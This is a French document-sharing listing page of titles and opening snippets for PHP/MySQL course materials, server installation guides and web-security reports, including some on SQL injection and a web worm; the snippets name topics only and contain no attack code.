Plus en détail

Rapport de Cryptographie

Rapport de Cryptographie Cryptographie [MIF30] / Année 2008-2009 Rapport de Cryptographie Les Injections SQL Sylvie Tixier & François-Xavier Charlet Page 1 20/05/2009 Sommaire Introduction...3 Définition d une injection SQL...3

Plus en détail

Roman Mkrtchian SI5-2012/2013 François Chapuis. Rapport de projet de WASP. Réalisation d'un site web sécurisé

Roman Mkrtchian SI5-2012/2013 François Chapuis. Rapport de projet de WASP. Réalisation d'un site web sécurisé Roman Mkrtchian SI5-2012/2013 François Chapuis Rapport de projet de WASP Réalisation d'un site web sécurisé Introduction Nous avons choisi de coder un blog sécurisé. Nous avons notamment codé nous-mêmes

Plus en détail

Pages Web dynamiques et bases de données

Pages Web dynamiques et bases de données Cours 2 Pages Web dynamiques et bases de données Une page Web dynamique est générée automatiquement grâce à l exécution d un script (PHP par exemple). C est le résultat de l exécution de ce script (code

Plus en détail

Persistance en Php. Note : les problèmes d accès concurrents, de sécurité et de login sont laissés de côté.

Persistance en Php. Note : les problèmes d accès concurrents, de sécurité et de login sont laissés de côté. Persistance en Php Objectif : faire un site pour gérer des articles par catégorie. Chaque catégorie a un nom, chaque catégorie est constitué d articles (titre, auteur, texte), un article est dans une seule

Plus en détail

arcopole Studio Annexe 4 Intégration LDAP et processus d authentification Site du programme arcopole : www.arcopole.fr

arcopole Studio Annexe 4 Intégration LDAP et processus d authentification Site du programme arcopole : www.arcopole.fr arcopole Studio Annexe 4 Intégration LDAP et processus d authentification Site du programme arcopole : www.arcopole.fr Auteur du document : ESRI France Version de la documentation : 1.2.0.0 Date de dernière

Plus en détail

La sécurité pour les développeurs. Christophe Villeneuve @hellosct1

La sécurité pour les développeurs. Christophe Villeneuve @hellosct1 La sécurité pour les développeurs Christophe Villeneuve @hellosct1 Qui... est Christophe Villeneuve? afup lemug.fr mysql mariadb drupal demoscene firefoxos drupagora phptour forumphp solutionlinux demoinparis

Plus en détail

TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012

TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012 TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012 FORMULAIRE DE CONTACT POUR PORTFOLIO PRINCIPE GENERAL Nous souhaitons réaliser un formulaire de contact comprenant les champs suivants : NOM PRENOM ADRESSE MAIL MESSAGE

Plus en détail

Jusqu à 14 h : Open Questions! On vous explique ce que vous n avez pas compris lors de la première formation.

Jusqu à 14 h : Open Questions! On vous explique ce que vous n avez pas compris lors de la première formation. Bienvenue! Jusqu à 14 h : Open Questions! On vous explique ce que vous n avez pas compris lors de la première formation. Téléchargez les logiciels nécessaires pour cette formation : http ://formation-web.via.ecp.fr

Plus en détail

Sécurité PHP et MySQL

Sécurité PHP et MySQL Sécurité PHP et MySQL Ce document est extrait du travail de diplôme de M. DIZON dans l état.. Sécurité PHP et MySQL...1 1 Introduction...1 2 Sécurisation des scripts PHP...2 2.1 Introduction...2 2.2 Filtrage

Plus en détail

Guide de démarrage rapide avec DataStudio Online Edition

Guide de démarrage rapide avec DataStudio Online Edition Guide de démarrage rapide avec DataStudio Online Edition Introduction Ce document vient en complément des films de démonstration disponibles sur le site web de data. L ETL ETL est un sigle qui signifie

Plus en détail

LSI2 Programmation Web TP n 4 du 17 décembre 2007

LSI2 Programmation Web TP n 4 du 17 décembre 2007 Page 1 sur 6 LSI2 Programmation Web TP n 4 du 17 décembre 2007 Corrigé des TPs précédents Le code source de la solution est fourni dans un fichier.zip téléchargeable à l adresse http://www.isitix.com/enssat/enssat20071217.zip

Plus en détail

Failles web : Les bases

Failles web : Les bases Failles utilisant les sites web comme support Ciblant soit les serveurs soit les visiteurs Dangereuses car simples à assimiler Objectifs : Vol de données Défaçage Rendre indisponible un site Utiliser le

Plus en détail

Vulnérabilités et sécurisation des applications Web

Vulnérabilités et sécurisation des applications Web OSSIR 09/09/2002 Vulnérabilités, attaques et sécurisation des applications Web Pourquoi les firewalls sont impuissants patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com Page 1 Planning

Plus en détail

Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10

Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10 Dossier Technique Page 1/10 Sommaire : 1. REPONSE TECHNIQUE A LA DEMANDE 3 1.1. Prise en compte de la dernière version de phpcas 3 1.2. Gestion de la connexion à GRR 3 1.2.1. Récupération des attributs

Plus en détail

Partie 2 : Transmettre des données de page en page 141/361. Les cookies

Partie 2 : Transmettre des données de page en page 141/361. Les cookies Partie 2 : Transmettre des données de page en page 141/361 Les cookies Travailler avec des cookies fonctionne à peu près de la même façon qu'avec des sessions, à quelques petites différences près que nous

Plus en détail

Attaques applicatives

Attaques applicatives Attaques applicatives Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites

Plus en détail

TP2 : PHP. Exercice 1 : Premiers pas en PHP Voici un exemple de code PHP.

TP2 : PHP. Exercice 1 : Premiers pas en PHP Voici un exemple de code PHP. TP2 : PHP Exercice 1 : Premiers pas en PHP Voici un exemple de code PHP. 1 3

Plus en détail

TD n 1 : Architecture 3 tiers

TD n 1 : Architecture 3 tiers 2008 TD n 1 : Architecture 3 tiers Franck.gil@free.fr 27/10/2008 1 TD n 1 : Architecture 3 tiers 1 INTRODUCTION Ce TD, se propose de vous accompagner durant l installation d un environnement de développement

Plus en détail

Notice d utilisation Windows

Notice d utilisation Windows Notice d utilisation Windows Dernière mise à jour : 07/06/2012 Sommaire Procédure d installation p. 3 Configuration p. 5 Récupération des données sauvegardées p. 8 FAQ illustrée p. 9 Comment créer une

Plus en détail

Zend Framework 2 Industrialisez vos développements PHP

Zend Framework 2 Industrialisez vos développements PHP Avant-propos 1. Lectorat 15 2. Contenu du livre 15 3. Pré-requis 17 Introduction 1. Un peu d histoire 19 1.1 Petite histoire de l informatique 19 1.2 Petite histoire des langages informatiques 20 1.3 Petite

Plus en détail

Authentification, droits d'accès et sécurité des applis web

Authentification, droits d'accès et sécurité des applis web Authentification, droits d'accès et sécurité des applis web Identification : savoir qui est l'utilisateur basé sur des nom de login enregistrés : base de données, annuaires, fichiers Authentification :

Plus en détail

GED MARKETING. Page 1 sur 18

GED MARKETING. Page 1 sur 18 GED MARKETING I. Présentation du produit... 2 II. Page principale de l application... 3 L arbre... 3 Le menu... 4 La fenêtre de navigation... 4 III. La recherche de documents... 4 Rechercher tous les documents...

Plus en détail

PHP. Bertrand Estellon. 26 avril 2012. Aix-Marseille Université. Bertrand Estellon (AMU) PHP 26 avril 2012 1 / 214

PHP. Bertrand Estellon. 26 avril 2012. Aix-Marseille Université. Bertrand Estellon (AMU) PHP 26 avril 2012 1 / 214 PHP Bertrand Estellon Aix-Marseille Université 26 avril 2012 Bertrand Estellon (AMU) PHP 26 avril 2012 1 / 214 SQLite et PDO Base de données SQLite et PDO SQLite écrit les données relatives à la base dans

Plus en détail

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique N. Clément, F. Dal, X. Jeannin, M.T. Nguyen CNRS/UREC http://www.urec.cnrs.fr

Plus en détail

ARTICLE : élément de «base» contenant texte et ressources diverses. Peut avoir plusieurs statuts (visible ou non publiquement, entre autres),

ARTICLE : élément de «base» contenant texte et ressources diverses. Peut avoir plusieurs statuts (visible ou non publiquement, entre autres), Terminologie ARTICLE : élément de «base» contenant texte et ressources diverses. Peut avoir plusieurs statuts (visible ou non publiquement, entre autres), RUBRIQUE : contenant d'articles et/ou de rubriques

Plus en détail

IUT d Orléans. Département Informatique. Année 2015-2016. Dévelopement Web Licence Professionnelle Web et Mobile

IUT d Orléans. Département Informatique. Année 2015-2016. Dévelopement Web Licence Professionnelle Web et Mobile IUT d Orléans. Département Informatique. Année 2015-2016 Dévelopement Web Licence Professionnelle Web et Mobile TD-TP Serveurs Web, HTTP et autres protocoles - Formulaires HTML5 - PHP 1 Exercice 1 Le protocole

Plus en détail

Pages Web statiques. LIF4 - Initiation aux Bases de données : PHP. Pages Web dynamiques. Illustration. Illustration

Pages Web statiques. LIF4 - Initiation aux Bases de données : PHP. Pages Web dynamiques. Illustration. Illustration statiques LIF4 - Initiation aux Bases de données : E.Coquery emmanuel.coquery@liris.cnrs.fr http ://liris.cnrs.fr/ ecoquery Principe de fonctionnement : L utilisateur demande l accès à une page Web depuis

Plus en détail

MINI-PROJET : ETUDE D UN MECANISME DE REDIRECTION DE PAGES WEB POUR AUTHENTIFIER UN UTILISATEUR WIFI

MINI-PROJET : ETUDE D UN MECANISME DE REDIRECTION DE PAGES WEB POUR AUTHENTIFIER UN UTILISATEUR WIFI Claire Billaud - 3ème année IS MINI-PROJET : ETUDE D UN MECANISME DE REDIRECTION DE PAGES WEB POUR AUTHENTIFIER UN UTILISATEUR WIFI Page 1 sur 9 Principe : On veut faire en sorte que le réseau interne

Plus en détail

PHP /MySQL Interface d'accès aux BDDs PDO. Youssef CHAHIR

PHP /MySQL Interface d'accès aux BDDs PDO. Youssef CHAHIR PHP /MySQL Interface d'accès aux BDDs PDO Youssef CHAHIR 1 PLAN Architecture Créer une interface PHP/MySQL : Établir une connexion Exécuter une requête Gérer les erreurs Exploiter les résultats de la requête

Plus en détail

Système d information

Système d information w w w. a g r o p a r i s t e c h. f r Système d information http://www.agroparistech.fr/systeme-d-information.html Requêtes MySQL en PHP avec AgroSIXPack Liliana IBANESCU UFR Informatique Département MMIP

Plus en détail

Formation PHP débutant

Formation PHP débutant Formation PHP débutant Table des matières 1 Le principe de PHP 3 1.1 Langage côté serveur.................................. 3 1.2 Pour travailler..................................... 3 1.3 Langage de pré-processing...............................

Plus en détail

Les formations. Développeur Logiciel. ENI Ecole Informatique

Les formations. Développeur Logiciel. ENI Ecole Informatique page 1/5 Titre professionnel : Reconnu par l Etat de niveau III (Bac), inscrit au RNCP (arrêté du 12/10/07, J.O. n 246 du 23/10/07) (32 semaines) Unité 1 : Structurer une application 6 semaines Module

Plus en détail

Projet Formation E-Learning - Sept 2015 «Sécurité des applications Web»

Projet Formation E-Learning - Sept 2015 «Sécurité des applications Web» Projet Formation E-Learning - Sept 2015 «Sécurité des applications Web» 1 OBJECTIFS DE LA FORMATION RSSI PUBLIC Administrateur Réseau et Système Consultant sécurité Responsable Développement Développeur

Plus en détail

les techniques d'extraction, les formulaires et intégration dans un site WEB

les techniques d'extraction, les formulaires et intégration dans un site WEB les techniques d'extraction, les formulaires et intégration dans un site WEB Edyta Bellouni MSHS-T, UMS838 Plan L extraction des données pour un site en ligne Architecture et techniques Les différents

Plus en détail

Formation Webase 5. Formation Webase 5. Ses secrets, de l architecture MVC à l application Web. Adrien Grand Centrale Réseaux

Formation Webase 5. Formation Webase 5. Ses secrets, de l architecture MVC à l application Web. Adrien Grand <jpountz@via.ecp.fr> Centrale Réseaux Formation Webase 5 Ses secrets, de l architecture MVC à l application Web Adrien Grand Centrale Réseaux Sommaire 1 Obtenir des informations sur Webase 5 2 Composants de Webase 5 Un

Plus en détail

Instruction d installation de GIMACO

Instruction d installation de GIMACO IDENTIFICATION DU DOCUMENT Objet Procédure d installation de l application GIMACO Référence IN 1258 INF XXX VB - Installation de GIMACO.doc Numéro de version 3.0 Statut Valide Auteur(s) David Pujol, Stéphane

Plus en détail

Pratique et administration des systèmes

Pratique et administration des systèmes Université Louis Pasteur Licence Informatique (L2) UFR de Mathématiques et Informatique Année 2007/2008 1 But du TP Pratique et administration des systèmes TP10 : Technologie LAMP Le but de ce TP est de

Plus en détail

Sécurisation des applications web : retour d'expérience des développeurs de Sympa

Sécurisation des applications web : retour d'expérience des développeurs de Sympa Sécurisation des applications web : retour d'expérience des développeurs de Sympa David Verdin - TutoJ RES 12 : Sécurité des sites web - 4 février 2010 8 février 2010 1 En guise d'intro Le point de vue

Plus en détail

Propagation virale sur le Web Le ver BackTrack

Propagation virale sur le Web Le ver BackTrack Propagation virale sur le Web Le ver BackTrack Althes (http://www.althes.fr) Revision 1 - December 2002 Vincent Royer 1. Introduction Au cours de ces dernières années, un certain nombre

Plus en détail

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS FOURNIER VINCENT 29/04/2015 1.2 Ce tutoriel est réalisé sous debian 7.7 avec une synchronisation

Plus en détail

Contexte PPE GSB CR. Analyse. Projet réalisé :

Contexte PPE GSB CR. Analyse. Projet réalisé : Contexte PPE GSB CR Le laboratoire est issu de la fusion entre le géant américain Galaxy et le conglomérat Swiss Bourdin. Cette fusion a eu pour but de moderniser l activité de visite médicale et de réaliser

Plus en détail

Sécurisation du réseau

Sécurisation du réseau Sécurisation du réseau La sécurisation du réseau d entreprise est également une étape primordiale à la sécurisation générale de votre infrastructure. Cette partie a pour but de présenter les fonctionnalités

Plus en détail

Préparation d un serveur Apache pour Zend Framework

Préparation d un serveur Apache pour Zend Framework Préparation d un serveur Apache pour Zend Framework Jacques THOORENS 30 novembre 2010 Résumé Cette petite introduction explique comment paramétrer son serveur Apache personnel pour en faire une machine

Plus en détail

L Injection SQL. By LordDaedalus (version du 10 Nov 07

L Injection SQL. By LordDaedalus (version du 10 Nov 07 L Injection SQL By LordDaedalus (version du 10 Nov 07 Introduction De nombreux sites stockent des données dans des bases de données. C est le cas notamment des sites bancaires, de vente en ligne mais aussi

Plus en détail

Plan du travail. 2014/2015 Cours TIC - 1ère année MI 86

Plan du travail. 2014/2015 Cours TIC - 1ère année MI 86 Plan du travail Chapitre 1: Internet et le Web Chapitre 2: Principes d Internet Chapitre 3 : Principaux services d Internet Chapitre 4 : Introduction au langage HTML 2014/2015 Cours TIC - 1ère année MI

Plus en détail

Formation PHP/MySQL. Pierre PATTARD. Avril 2005

Formation PHP/MySQL. Pierre PATTARD. Avril 2005 Formation PHP/MySQL Pierre PATTARD Julien BENOIT Avril 2005 Le PHP Langage interprété, côté serveur pages interprétées par le serveur web pas de compilation, code éditable avec un bloc notes. aucune différences

Plus en détail

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP Au cours de ce TP, vous allez voir comment PHP permet aux utilisateurs, une interaction avec

Plus en détail

TD1. Installation de Symfony 2 et Netbeans

TD1. Installation de Symfony 2 et Netbeans I - Introduction : TD1 Installation de Symfony 2 et Netbeans L objet de ce TP est d installer l environnement de travail. Nous commençons par définir des notions de base nécessaires pour comprendre la

Plus en détail

arcopole Studio Annexe 7 Architectures Site du programme arcopole : www.arcopole.fr

arcopole Studio Annexe 7 Architectures Site du programme arcopole : www.arcopole.fr 4 arcopole Studio Annexe 7 Architectures Site du programme arcopole : www.arcopole.fr Auteur du document : Esri France Version de la documentation : 1.2 Date de dernière mise à jour : 26/02/2015 Sommaire

Plus en détail

TD2 : PHP «avancé» V3.0.0

TD2 : PHP «avancé» V3.0.0 TD2 : «avancé» V3.0.0 Cette œuvre est mise à disposition selon les termes de la licence Creative Commons Attribution Pas d'utilisation Commerciale Partage à l'identique 3.0 non transposé. Document en ligne

Plus en détail

Travaux pratiques de M2105 Web dynamique

Travaux pratiques de M2105 Web dynamique Travaux pratiques de M2105 Web dynamique L objectif des séances de TP du module M2105 est de créer un mini site web d annuaire permettant à différents utilisateurs de gérer leurs contacts. Les informations

Plus en détail

Introduction à PHP. Formulaires HTML et PHP, interactions avec le client. monnerat@u-pec.fr. 6 avril 2015. IUT de Fontainebleau. Introduction à PHP

Introduction à PHP. Formulaires HTML et PHP, interactions avec le client. monnerat@u-pec.fr. 6 avril 2015. IUT de Fontainebleau. Introduction à PHP Formulaires HTML et PHP, interactions avec le client IUT de Fontainebleau 6 avril 2015 1 Formlaire et traitement 2 Texte Cases à cocher Listes Upload de fichiers Sommaire Formlaire et traitement 1 Formlaire

Plus en détail

HERVÉ SCHAUER CONSULTANTS. Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet

HERVÉ SCHAUER CONSULTANTS. Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet FORUM PHP 2007 Audit de code, retour d'expérience Nicolas Collignon

Plus en détail

DOCUMENTATION MISE A JOUR ANTIBIOGARDE. V4.0 en v4.1

DOCUMENTATION MISE A JOUR ANTIBIOGARDE. V4.0 en v4.1 DOCUMENTATION MISE A JOUR ANTIBIOGARDE V4.0 en v4.1 Version d Antibiogarde 4.1 Version du document 1.0 Date dernière mise à jour du document 15/06/2010 Retrouvez cette doc à jour sur : http://www.antibiogarde.org/activation/

Plus en détail

Configuration/Sécurité et performances avec PHP

Configuration/Sécurité et performances avec PHP Configuration/Sécurité et performances avec PHP Deux installations pour PHP apache Comme un module CGI Chaque invocation d'un script php entraine le démarrage d'un processus Un binaire PHP est exécuté

Plus en détail

Conception de sites Web TP n o 5

Conception de sites Web TP n o 5 Conception de sites Web TP n o 5 Objectif : Dans ce TP, vous mettrez en œuvre le langage PHP afin de gérer, entre autres, un compteur de visites, le formulaire que vous avez intégré à votre blog ainsi

Plus en détail

Installation de Shinken

Installation de Shinken Installation de Shinken Shinken a besoin d un utilisateur pour fonctionner. adduser m shinken On passe à l installation des dépendances python nécessaire à l installation apt-get install python-pycurl

Plus en détail